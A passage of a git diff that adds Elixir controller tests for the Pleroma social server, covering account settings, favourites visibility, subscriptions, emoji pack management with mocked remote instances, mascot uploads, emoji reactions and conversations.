- <link rel="avatar" href="#{User.avatar_url(user)}" />
- <link rel="header" href="#{User.banner_url(user)}" />
- <ap_enabled>true</ap_enabled>
- """
-
- assert clean(res) == clean(expected)
- end
-
- defp clean(string) do
- String.replace(string, ~r/\s/, "")
- end
-end
diff --git a/test/web/pleroma_api/controllers/account_controller_test.exs b/test/web/pleroma_api/controllers/account_controller_test.exs
new file mode 100644
index 000000000..d17026a6b
--- /dev/null
+++ b/test/web/pleroma_api/controllers/account_controller_test.exs
@@ -0,0 +1,338 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.PleromaAPI.AccountControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Config
+ alias Pleroma.Tests.ObanHelpers
+ alias Pleroma.User
+ alias Pleroma.Web.CommonAPI
+
+ import Pleroma.Factory
+ import Swoosh.TestAssertions
+
+ @image "data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7"
+
+ describe "POST /api/v1/pleroma/accounts/confirmation_resend" do
+ setup do
+ {:ok, user} =
+ insert(:user)
+ |> User.confirmation_changeset(need_confirmation: true)
+ |> User.update_and_set_cache()
+
+ assert user.confirmation_pending
+
+ [user: user]
+ end
+
+ clear_config([:instance, :account_activation_required]) do
+ Config.put([:instance, :account_activation_required], true)
+ end
+
+ test "resend account confirmation email", %{conn: conn, user: user} do
+ conn
+ |> post("/api/v1/pleroma/accounts/confirmation_resend?email=#{user.email}")
+ |> json_response(:no_content)
+
+ ObanHelpers.perform_all()
+
+ email = Pleroma.Emails.UserEmail.account_confirmation_email(user)
+ notify_email = Config.get([:instance, :notify_email])
+ instance_name = Config.get([:instance, :name])
+
+ assert_email_sent(
+ from: {instance_name, notify_email},
+ to: {user.name, user.email},
+ html_body: email.html_body
+ )
+ end
+ end
+
+ describe "PATCH /api/v1/pleroma/accounts/update_avatar" do
+ setup do: oauth_access(["write:accounts"])
+
+ test "user avatar can be set", %{user: user, conn: conn} do
+ avatar_image = File.read!("test/fixtures/avatar_data_uri")
+
+ conn = patch(conn, "/api/v1/pleroma/accounts/update_avatar", %{img: avatar_image})
+
+ user = refresh_record(user)
+
+ assert %{
+ "name" => _,
+ "type" => _,
+ "url" => [
+ %{
+ "href" => _,
+ "mediaType" => _,
+ "type" => _
+ }
+ ]
+ } = user.avatar
+
+ assert %{"url" => _} = json_response(conn, 200)
+ end
+
+ test "user avatar can be reset", %{user: user, conn: conn} do
+ conn = patch(conn, "/api/v1/pleroma/accounts/update_avatar", %{img: ""})
+
+ user = User.get_cached_by_id(user.id)
+
+ assert user.avatar == nil
+
+ assert %{"url" => nil} = json_response(conn, 200)
+ end
+ end
+
+ describe "PATCH /api/v1/pleroma/accounts/update_banner" do
+ setup do: oauth_access(["write:accounts"])
+
+ test "can set profile banner", %{user: user, conn: conn} do
+ conn = patch(conn, "/api/v1/pleroma/accounts/update_banner", %{"banner" => @image})
+
+ user = refresh_record(user)
+ assert user.banner["type"] == "Image"
+
+ assert %{"url" => _} = json_response(conn, 200)
+ end
+
+ test "can reset profile banner", %{user: user, conn: conn} do
+ conn = patch(conn, "/api/v1/pleroma/accounts/update_banner", %{"banner" => ""})
+
+ user = refresh_record(user)
+ assert user.banner == %{}
+
+ assert %{"url" => nil} = json_response(conn, 200)
+ end
+ end
+
+ describe "PATCH /api/v1/pleroma/accounts/update_background" do
+ setup do: oauth_access(["write:accounts"])
+
+ test "background image can be set", %{user: user, conn: conn} do
+ conn = patch(conn, "/api/v1/pleroma/accounts/update_background", %{"img" => @image})
+
+ user = refresh_record(user)
+ assert user.background["type"] == "Image"
+ assert %{"url" => _} = json_response(conn, 200)
+ end
+
+ test "background image can be reset", %{user: user, conn: conn} do
+ conn = patch(conn, "/api/v1/pleroma/accounts/update_background", %{"img" => ""})
+
+ user = refresh_record(user)
+ assert user.background == %{}
+ assert %{"url" => nil} = json_response(conn, 200)
+ end
+ end
+
+ describe "getting favorites timeline of specified user" do
+ setup do
+ [current_user, user] = insert_pair(:user, hide_favorites: false)
+ %{user: current_user, conn: conn} = oauth_access(["read:favourites"], user: current_user)
+ [current_user: current_user, user: user, conn: conn]
+ end
+
+ test "returns list of statuses favorited by specified user", %{
+ conn: conn,
+ user: user
+ } do
+ [activity | _] = insert_pair(:note_activity)
+ CommonAPI.favorite(activity.id, user)
+
+ response =
+ conn
+ |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
+ |> json_response(:ok)
+
+ [like] = response
+
+ assert length(response) == 1
+ assert like["id"] == activity.id
+ end
+
+ test "does not return favorites for specified user_id when user is not logged in", %{
+ user: user
+ } do
+ activity = insert(:note_activity)
+ CommonAPI.favorite(activity.id, user)
+
+ build_conn()
+ |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
+ |> json_response(403)
+ end
+
+ test "returns favorited DM only when user is logged in and he is one of recipients", %{
+ current_user: current_user,
+ user: user
+ } do
+ {:ok, direct} =
+ CommonAPI.post(current_user, %{
+ "status" => "Hi @#{user.nickname}!",
+ "visibility" => "direct"
+ })
+
+ CommonAPI.favorite(direct.id, user)
+
+ for u <- [user, current_user] do
+ response =
+ build_conn()
+ |> assign(:user, u)
+ |> assign(:token, insert(:oauth_token, user: u, scopes: ["read:favourites"]))
+ |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
+ |> json_response(:ok)
+
+ assert length(response) == 1
+ end
+
+ build_conn()
+ |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
+ |> json_response(403)
+ end
+
+ test "does not return others' favorited DM when user is not one of recipients", %{
+ conn: conn,
+ user: user
+ } do
+ user_two = insert(:user)
+
+ {:ok, direct} =
+ CommonAPI.post(user_two, %{
+ "status" => "Hi @#{user.nickname}!",
+ "visibility" => "direct"
+ })
+
+ CommonAPI.favorite(direct.id, user)
+
+ response =
+ conn
+ |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
+ |> json_response(:ok)
+
+ assert Enum.empty?(response)
+ end
+
+ test "paginates favorites using since_id and max_id", %{
+ conn: conn,
+ user: user
+ } do
+ activities = insert_list(10, :note_activity)
+
+ Enum.each(activities, fn activity ->
+ CommonAPI.favorite(activity.id, user)
+ end)
+
+ third_activity = Enum.at(activities, 2)
+ seventh_activity = Enum.at(activities, 6)
+
+ response =
+ conn
+ |> get("/api/v1/pleroma/accounts/#{user.id}/favourites", %{
+ since_id: third_activity.id,
+ max_id: seventh_activity.id
+ })
+ |> json_response(:ok)
+
+ assert length(response) == 3
+ refute third_activity in response
+ refute seventh_activity in response
+ end
+
+ test "limits favorites using limit parameter", %{
+ conn: conn,
+ user: user
+ } do
+ 7
+ |> insert_list(:note_activity)
+ |> Enum.each(fn activity ->
+ CommonAPI.favorite(activity.id, user)
+ end)
+
+ response =
+ conn
+ |> get("/api/v1/pleroma/accounts/#{user.id}/favourites", %{limit: "3"})
+ |> json_response(:ok)
+
+ assert length(response) == 3
+ end
+
+ test "returns empty response when user does not have any favorited statuses", %{
+ conn: conn,
+ user: user
+ } do
+ response =
+ conn
+ |> get("/api/v1/pleroma/accounts/#{user.id}/favourites")
+ |> json_response(:ok)
+
+ assert Enum.empty?(response)
+ end
+
+ test "returns 404 error when specified user is not exist", %{conn: conn} do
+ conn = get(conn, "/api/v1/pleroma/accounts/test/favourites")
+
+ assert json_response(conn, 404) == %{"error" => "Record not found"}
+ end
+
+ test "returns 403 error when user has hidden own favorites", %{conn: conn} do
+ user = insert(:user, hide_favorites: true)
+ activity = insert(:note_activity)
+ CommonAPI.favorite(activity.id, user)
+
+ conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/favourites")
+
+ assert json_response(conn, 403) == %{"error" => "Can't get favorites"}
+ end
+
+ test "hides favorites for new users by default", %{conn: conn} do
+ user = insert(:user)
+ activity = insert(:note_activity)
+ CommonAPI.favorite(activity.id, user)
+
+ assert user.hide_favorites
+ conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/favourites")
+
+ assert json_response(conn, 403) == %{"error" => "Can't get favorites"}
+ end
+ end
+
+ describe "subscribing / unsubscribing" do
+ test "subscribing / unsubscribing to a user" do
+ %{user: user, conn: conn} = oauth_access(["follow"])
+ subscription_target = insert(:user)
+
+ ret_conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/subscribe")
+
+ assert %{"id" => _id, "subscribing" => true} = json_response(ret_conn, 200)
+
+ conn = post(conn, "/api/v1/pleroma/accounts/#{subscription_target.id}/unsubscribe")
+
+ assert %{"id" => _id, "subscribing" => false} = json_response(conn, 200)
+ end
+ end
+
+ describe "subscribing" do
+ test "returns 404 when subscription_target not found" do
+ %{conn: conn} = oauth_access(["write:follows"])
+
+ conn = post(conn, "/api/v1/pleroma/accounts/target_id/subscribe")
+
+ assert %{"error" => "Record not found"} = json_response(conn, 404)
+ end
+ end
+
+ describe "unsubscribing" do
+ test "returns 404 when subscription_target not found" do
+ %{conn: conn} = oauth_access(["follow"])
+
+ conn = post(conn, "/api/v1/pleroma/accounts/target_id/unsubscribe")
+
+ assert %{"error" => "Record not found"} = json_response(conn, 404)
+ end
+ end
+end
diff --git a/test/web/pleroma_api/controllers/emoji_api_controller_test.exs b/test/web/pleroma_api/controllers/emoji_api_controller_test.exs
new file mode 100644
index 000000000..8e76f2f3d
--- /dev/null
+++ b/test/web/pleroma_api/controllers/emoji_api_controller_test.exs
@@ -0,0 +1,467 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.PleromaAPI.EmojiAPIControllerTest do
+ use Pleroma.Web.ConnCase
+
+ import Tesla.Mock
+
+ import Pleroma.Factory
+
+ @emoji_dir_path Path.join(
+ Pleroma.Config.get!([:instance, :static_dir]),
+ "emoji"
+ )
+
+ clear_config([:auth, :enforce_oauth_admin_scope_usage]) do
+ Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], false)
+ end
+
+ test "shared & non-shared pack information in list_packs is ok" do
+ conn = build_conn()
+ resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+
+ assert Map.has_key?(resp, "test_pack")
+
+ pack = resp["test_pack"]
+
+ assert Map.has_key?(pack["pack"], "download-sha256")
+ assert pack["pack"]["can-download"]
+
+ assert pack["files"] == %{"blank" => "blank.png"}
+
+ # Non-shared pack
+
+ assert Map.has_key?(resp, "test_pack_nonshared")
+
+ pack = resp["test_pack_nonshared"]
+
+ refute pack["pack"]["shared"]
+ refute pack["pack"]["can-download"]
+ end
+
+ test "listing remote packs" do
+ admin = insert(:user, is_admin: true)
+ %{conn: conn} = oauth_access(["admin:write"], user: admin)
+
+ resp =
+ build_conn()
+ |> get(emoji_api_path(conn, :list_packs))
+ |> json_response(200)
+
+ mock(fn
+ %{method: :get, url: "https://example.com/.well-known/nodeinfo"} ->
+ json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]})
+
+ %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->
+ json(%{metadata: %{features: ["shareable_emoji_packs"]}})
+
+ %{method: :get, url: "https://example.com/api/pleroma/emoji/packs"} ->
+ json(resp)
+ end)
+
+ assert conn
+ |> post(emoji_api_path(conn, :list_from), %{instance_address: "https://example.com"})
+ |> json_response(200) == resp
+ end
+
+ test "downloading a shared pack from download_shared" do
+ conn = build_conn()
+
+ resp =
+ conn
+ |> get(emoji_api_path(conn, :download_shared, "test_pack"))
+ |> response(200)
+
+ {:ok, arch} = :zip.unzip(resp, [:memory])
+
+ assert Enum.find(arch, fn {n, _} -> n == 'pack.json' end)
+ assert Enum.find(arch, fn {n, _} -> n == 'blank.png' end)
+ end
+
+ test "downloading shared & unshared packs from another instance via download_from, deleting them" do
+ on_exit(fn ->
+ File.rm_rf!("#{@emoji_dir_path}/test_pack2")
+ File.rm_rf!("#{@emoji_dir_path}/test_pack_nonshared2")
+ end)
+
+ mock(fn
+ %{method: :get, url: "https://old-instance/.well-known/nodeinfo"} ->
+ json(%{links: [%{href: "https://old-instance/nodeinfo/2.1.json"}]})
+
+ %{method: :get, url: "https://old-instance/nodeinfo/2.1.json"} ->
+ json(%{metadata: %{features: []}})
+
+ %{method: :get, url: "https://example.com/.well-known/nodeinfo"} ->
+ json(%{links: [%{href: "https://example.com/nodeinfo/2.1.json"}]})
+
+ %{method: :get, url: "https://example.com/nodeinfo/2.1.json"} ->
+ json(%{metadata: %{features: ["shareable_emoji_packs"]}})
+
+ %{
+ method: :get,
+ url: "https://example.com/api/pleroma/emoji/packs/list"
+ } ->
+ conn = build_conn()
+
+ conn
+ |> get(emoji_api_path(conn, :list_packs))
+ |> json_response(200)
+ |> json()
+
+ %{
+ method: :get,
+ url: "https://example.com/api/pleroma/emoji/packs/download_shared/test_pack"
+ } ->
+ conn = build_conn()
+
+ conn
+ |> get(emoji_api_path(conn, :download_shared, "test_pack"))
+ |> response(200)
+ |> text()
+
+ %{
+ method: :get,
+ url: "https://nonshared-pack"
+ } ->
+ text(File.read!("#{@emoji_dir_path}/test_pack_nonshared/nonshared.zip"))
+ end)
+
+ admin = insert(:user, is_admin: true)
+
+ conn =
+ build_conn()
+ |> assign(:user, admin)
+ |> assign(:token, insert(:oauth_admin_token, user: admin, scopes: ["admin:write"]))
+
+ assert (conn
+ |> put_req_header("content-type", "application/json")
+ |> post(
+ emoji_api_path(
+ conn,
+ :download_from
+ ),
+ %{
+ instance_address: "https://old-instance",
+ pack_name: "test_pack",
+ as: "test_pack2"
+ }
+ |> Jason.encode!()
+ )
+ |> json_response(500))["error"] =~ "does not support"
+
+ assert conn
+ |> put_req_header("content-type", "application/json")
+ |> post(
+ emoji_api_path(
+ conn,
+ :download_from
+ ),
+ %{
+ instance_address: "https://example.com",
+ pack_name: "test_pack",
+ as: "test_pack2"
+ }
+ |> Jason.encode!()
+ )
+ |> json_response(200) == "ok"
+
+ assert File.exists?("#{@emoji_dir_path}/test_pack2/pack.json")
+ assert File.exists?("#{@emoji_dir_path}/test_pack2/blank.png")
+
+ assert conn
+ |> delete(emoji_api_path(conn, :delete, "test_pack2"))
+ |> json_response(200) == "ok"
+
+ refute File.exists?("#{@emoji_dir_path}/test_pack2")
+
+ # non-shared, downloaded from the fallback URL
+
+ assert conn
+ |> put_req_header("content-type", "application/json")
+ |> post(
+ emoji_api_path(
+ conn,
+ :download_from
+ ),
+ %{
+ instance_address: "https://example.com",
+ pack_name: "test_pack_nonshared",
+ as: "test_pack_nonshared2"
+ }
+ |> Jason.encode!()
+ )
+ |> json_response(200) == "ok"
+
+ assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/pack.json")
+ assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/blank.png")
+
+ assert conn
+ |> delete(emoji_api_path(conn, :delete, "test_pack_nonshared2"))
+ |> json_response(200) == "ok"
+
+ refute File.exists?("#{@emoji_dir_path}/test_pack_nonshared2")
+ end
+
+ describe "updating pack metadata" do
+ setup do
+ pack_file = "#{@emoji_dir_path}/test_pack/pack.json"
+ original_content = File.read!(pack_file)
+
+ on_exit(fn ->
+ File.write!(pack_file, original_content)
+ end)
+
+ admin = insert(:user, is_admin: true)
+ %{conn: conn} = oauth_access(["admin:write"], user: admin)
+
+ {:ok,
+ admin: admin,
+ conn: conn,
+ pack_file: pack_file,
+ new_data: %{
+ "license" => "Test license changed",
+ "homepage" => "https://pleroma.social",
+ "description" => "Test description",
+ "share-files" => false
+ }}
+ end
+
+ test "for a pack without a fallback source", ctx do
+ conn = ctx[:conn]
+
+ assert conn
+ |> post(
+ emoji_api_path(conn, :update_metadata, "test_pack"),
+ %{
+ "new_data" => ctx[:new_data]
+ }
+ )
+ |> json_response(200) == ctx[:new_data]
+
+ assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == ctx[:new_data]
+ end
+
+ test "for a pack with a fallback source", ctx do
+ mock(fn
+ %{
+ method: :get,
+ url: "https://nonshared-pack"
+ } ->
+ text(File.read!("#{@emoji_dir_path}/test_pack_nonshared/nonshared.zip"))
+ end)
+
+ new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack")
+
+ new_data_with_sha =
+ Map.put(
+ new_data,
+ "fallback-src-sha256",
+ "74409E2674DAA06C072729C6C8426C4CB3B7E0B85ED77792DB7A436E11D76DAF"
+ )
+
+ conn = ctx[:conn]
+
+ assert conn
+ |> post(
+ emoji_api_path(conn, :update_metadata, "test_pack"),
+ %{
+ "new_data" => new_data
+ }
+ )
+ |> json_response(200) == new_data_with_sha
+
+ assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha
+ end
+
+ test "when the fallback source doesn't have all the files", ctx do
+ mock(fn
+ %{
+ method: :get,
+ url: "https://nonshared-pack"
+ } ->
+ {:ok, {'empty.zip', empty_arch}} = :zip.zip('empty.zip', [], [:memory])
+ text(empty_arch)
+ end)
+
+ new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack")
+
+ conn = ctx[:conn]
+
+ assert (conn
+ |> post(
+ emoji_api_path(conn, :update_metadata, "test_pack"),
+ %{
+ "new_data" => new_data
+ }
+ )
+ |> json_response(:bad_request))["error"] =~ "does not have all"
+ end
+ end
+
+ test "updating pack files" do
+ pack_file = "#{@emoji_dir_path}/test_pack/pack.json"
+ original_content = File.read!(pack_file)
+
+ on_exit(fn ->
+ File.write!(pack_file, original_content)
+
+ File.rm_rf!("#{@emoji_dir_path}/test_pack/blank_url.png")
+ File.rm_rf!("#{@emoji_dir_path}/test_pack/dir")
+ File.rm_rf!("#{@emoji_dir_path}/test_pack/dir_2")
+ end)
+
+ admin = insert(:user, is_admin: true)
+ %{conn: conn} = oauth_access(["admin:write"], user: admin)
+
+ same_name = %{
+ "action" => "add",
+ "shortcode" => "blank",
+ "filename" => "dir/blank.png",
+ "file" => %Plug.Upload{
+ filename: "blank.png",
+ path: "#{@emoji_dir_path}/test_pack/blank.png"
+ }
+ }
+
+ different_name = %{same_name | "shortcode" => "blank_2"}
+
+ assert (conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), same_name)
+ |> json_response(:conflict))["error"] =~ "already exists"
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), different_name)
+ |> json_response(200) == %{"blank" => "blank.png", "blank_2" => "dir/blank.png"}
+
+ assert File.exists?("#{@emoji_dir_path}/test_pack/dir/blank.png")
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), %{
+ "action" => "update",
+ "shortcode" => "blank_2",
+ "new_shortcode" => "blank_3",
+ "new_filename" => "dir_2/blank_3.png"
+ })
+ |> json_response(200) == %{"blank" => "blank.png", "blank_3" => "dir_2/blank_3.png"}
+
+ refute File.exists?("#{@emoji_dir_path}/test_pack/dir/")
+ assert File.exists?("#{@emoji_dir_path}/test_pack/dir_2/blank_3.png")
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), %{
+ "action" => "remove",
+ "shortcode" => "blank_3"
+ })
+ |> json_response(200) == %{"blank" => "blank.png"}
+
+ refute File.exists?("#{@emoji_dir_path}/test_pack/dir_2/")
+
+ mock(fn
+ %{
+ method: :get,
+ url: "https://test-blank/blank_url.png"
+ } ->
+ text(File.read!("#{@emoji_dir_path}/test_pack/blank.png"))
+ end)
+
+ # The name should be inferred from the URL ending
+ from_url = %{
+ "action" => "add",
+ "shortcode" => "blank_url",
+ "file" => "https://test-blank/blank_url.png"
+ }
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), from_url)
+ |> json_response(200) == %{
+ "blank" => "blank.png",
+ "blank_url" => "blank_url.png"
+ }
+
+ assert File.exists?("#{@emoji_dir_path}/test_pack/blank_url.png")
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), %{
+ "action" => "remove",
+ "shortcode" => "blank_url"
+ })
+ |> json_response(200) == %{"blank" => "blank.png"}
+
+ refute File.exists?("#{@emoji_dir_path}/test_pack/blank_url.png")
+ end
+
+ test "creating and deleting a pack" do
+ on_exit(fn ->
+ File.rm_rf!("#{@emoji_dir_path}/test_created")
+ end)
+
+ admin = insert(:user, is_admin: true)
+ %{conn: conn} = oauth_access(["admin:write"], user: admin)
+
+ assert conn
+ |> put_req_header("content-type", "application/json")
+ |> put(
+ emoji_api_path(
+ conn,
+ :create,
+ "test_created"
+ )
+ )
+ |> json_response(200) == "ok"
+
+ assert File.exists?("#{@emoji_dir_path}/test_created/pack.json")
+
+ assert Jason.decode!(File.read!("#{@emoji_dir_path}/test_created/pack.json")) == %{
+ "pack" => %{},
+ "files" => %{}
+ }
+
+ assert conn
+ |> delete(emoji_api_path(conn, :delete, "test_created"))
+ |> json_response(200) == "ok"
+
+ refute File.exists?("#{@emoji_dir_path}/test_created/pack.json")
+ end
+
+ test "filesystem import" do
+ on_exit(fn ->
+ File.rm!("#{@emoji_dir_path}/test_pack_for_import/emoji.txt")
+ File.rm!("#{@emoji_dir_path}/test_pack_for_import/pack.json")
+ end)
+
+ conn = build_conn()
+ resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+
+ refute Map.has_key?(resp, "test_pack_for_import")
+
+ admin = insert(:user, is_admin: true)
+ %{conn: conn} = oauth_access(["admin:write"], user: admin)
+
+ assert conn
+ |> post(emoji_api_path(conn, :import_from_fs))
+ |> json_response(200) == ["test_pack_for_import"]
+
+ resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+ assert resp["test_pack_for_import"]["files"] == %{"blank" => "blank.png"}
+
+ File.rm!("#{@emoji_dir_path}/test_pack_for_import/pack.json")
+ refute File.exists?("#{@emoji_dir_path}/test_pack_for_import/pack.json")
+
+ emoji_txt_content = "blank, blank.png, Fun\n\nblank2, blank.png"
+
+ File.write!("#{@emoji_dir_path}/test_pack_for_import/emoji.txt", emoji_txt_content)
+
+ assert conn
+ |> post(emoji_api_path(conn, :import_from_fs))
+ |> json_response(200) == ["test_pack_for_import"]
+
+ resp = build_conn() |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+
+ assert resp["test_pack_for_import"]["files"] == %{
+ "blank" => "blank.png",
+ "blank2" => "blank.png"
+ }
+ end
+end
diff --git a/test/web/pleroma_api/controllers/mascot_controller_test.exs b/test/web/pleroma_api/controllers/mascot_controller_test.exs
new file mode 100644
index 000000000..40c33e609
--- /dev/null
+++ b/test/web/pleroma_api/controllers/mascot_controller_test.exs
@@ -0,0 +1,64 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.PleromaAPI.MascotControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.User
+
+ test "mascot upload" do
+ %{conn: conn} = oauth_access(["write:accounts"])
+
+ non_image_file = %Plug.Upload{
+ content_type: "audio/mpeg",
+ path: Path.absname("test/fixtures/sound.mp3"),
+ filename: "sound.mp3"
+ }
+
+ ret_conn = put(conn, "/api/v1/pleroma/mascot", %{"file" => non_image_file})
+
+ assert json_response(ret_conn, 415)
+
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ conn = put(conn, "/api/v1/pleroma/mascot", %{"file" => file})
+
+ assert %{"id" => _, "type" => image} = json_response(conn, 200)
+ end
+
+ test "mascot retrieving" do
+ %{user: user, conn: conn} = oauth_access(["read:accounts", "write:accounts"])
+
+ # When user hasn't set a mascot, we should just get pleroma tan back
+ ret_conn = get(conn, "/api/v1/pleroma/mascot")
+
+ assert %{"url" => url} = json_response(ret_conn, 200)
+ assert url =~ "pleroma-fox-tan-smol"
+
+ # When a user sets their mascot, we should get that back
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ ret_conn = put(conn, "/api/v1/pleroma/mascot", %{"file" => file})
+
+ assert json_response(ret_conn, 200)
+
+ user = User.get_cached_by_id(user.id)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/pleroma/mascot")
+
+ assert %{"url" => url, "type" => "image"} = json_response(conn, 200)
+ assert url =~ "an_image"
+ end
+end
diff --git a/test/web/pleroma_api/controllers/pleroma_api_controller_test.exs b/test/web/pleroma_api/controllers/pleroma_api_controller_test.exs
new file mode 100644
index 000000000..3978c2ec5
--- /dev/null
+++ b/test/web/pleroma_api/controllers/pleroma_api_controller_test.exs
@@ -0,0 +1,232 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.PleromaAPI.PleromaAPIControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Conversation.Participation
+ alias Pleroma.Notification
+ alias Pleroma.Object
+ alias Pleroma.Repo
+ alias Pleroma.User
+ alias Pleroma.Web.CommonAPI
+
+ import Pleroma.Factory
+
+ test "POST /api/v1/pleroma/statuses/:id/react_with_emoji", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "#cofe"})
+
+ result =
+ conn
+ |> assign(:user, other_user)
+ |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"]))
+ |> post("/api/v1/pleroma/statuses/#{activity.id}/react_with_emoji", %{"emoji" => "☕"})
+
+ assert %{"id" => id} = json_response(result, 200)
+ assert to_string(activity.id) == id
+ end
+
+ test "POST /api/v1/pleroma/statuses/:id/unreact_with_emoji", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "#cofe"})
+ {:ok, activity, _object} = CommonAPI.react_with_emoji(activity.id, other_user, "☕")
+
+ result =
+ conn
+ |> assign(:user, other_user)
+ |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["write:statuses"]))
+ |> post("/api/v1/pleroma/statuses/#{activity.id}/unreact_with_emoji", %{"emoji" => "☕"})
+
+ assert %{"id" => id} = json_response(result, 200)
+ assert to_string(activity.id) == id
+
+ object = Object.normalize(activity)
+
+ assert object.data["reaction_count"] == 0
+ end
+
+ test "GET /api/v1/pleroma/statuses/:id/emoji_reactions_by", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "#cofe"})
+
+ result =
+ conn
+ |> get("/api/v1/pleroma/statuses/#{activity.id}/emoji_reactions_by")
+ |> json_response(200)
+
+ assert result == []
+
+ {:ok, _, _} = CommonAPI.react_with_emoji(activity.id, other_user, "🎅")
+
+ result =
+ conn
+ |> get("/api/v1/pleroma/statuses/#{activity.id}/emoji_reactions_by")
+ |> json_response(200)
+
+ [%{"emoji" => "🎅", "count" => 1, "accounts" => [represented_user]}] = result
+ assert represented_user["id"] == other_user.id
+ end
+
+ test "/api/v1/pleroma/conversations/:id" do
+ user = insert(:user)
+ %{user: other_user, conn: conn} = oauth_access(["read:statuses"])
+
+ {:ok, _activity} =
+ CommonAPI.post(user, %{"status" => "Hi @#{other_user.nickname}!", "visibility" => "direct"})
+
+ [participation] = Participation.for_user(other_user)
+
+ result =
+ conn
+ |> get("/api/v1/pleroma/conversations/#{participation.id}")
+ |> json_response(200)
+
+ assert result["id"] == participation.id |> to_string()
+ end
+
+ test "/api/v1/pleroma/conversations/:id/statuses" do
+ user = insert(:user)
+ %{user: other_user, conn: conn} = oauth_access(["read:statuses"])
+ third_user = insert(:user)
+
+ {:ok, _activity} =
+ CommonAPI.post(user, %{"status" => "Hi @#{third_user.nickname}!", "visibility" => "direct"})
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{"status" => "Hi @#{other_user.nickname}!", "visibility" => "direct"})
+
+ [participation] = Participation.for_user(other_user)
+
+ {:ok, activity_two} =
+ CommonAPI.post(other_user, %{
+ "status" => "Hi!",
+ "in_reply_to_status_id" => activity.id,
+ "in_reply_to_conversation_id" => participation.id
+ })
+
+ result =
+ conn
+ |> get("/api/v1/pleroma/conversations/#{participation.id}/statuses")
+ |> json_response(200)
+
+ assert length(result) == 2
+
+ id_one = activity.id
+ id_two = activity_two.id
+ assert [%{"id" => ^id_one}, %{"id" => ^id_two}] = result
+ end
+
+ test "PATCH /api/v1/pleroma/conversations/:id" do
+ %{user: user, conn: conn} = oauth_access(["write:conversations"])
+ other_user = insert(:user)
+
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => "Hi", "visibility" => "direct"})
+
+ [participation] = Participation.for_user(user)
+
+ participation = Repo.preload(participation, :recipients)
+
+ user = User.get_cached_by_id(user.id)
+ assert [user] == participation.recipients
+ assert other_user not in participation.recipients
+
+ result =
+ conn
+ |> patch("/api/v1/pleroma/conversations/#{participation.id}", %{
+ "recipients" => [user.id, other_user.id]
+ })
+ |> json_response(200)
+
+ assert result["id"] == participation.id |> to_string
+
+ [participation] = Participation.for_user(user)
+ participation = Repo.preload(participation, :recipients)
+
+ assert user in participation.recipients
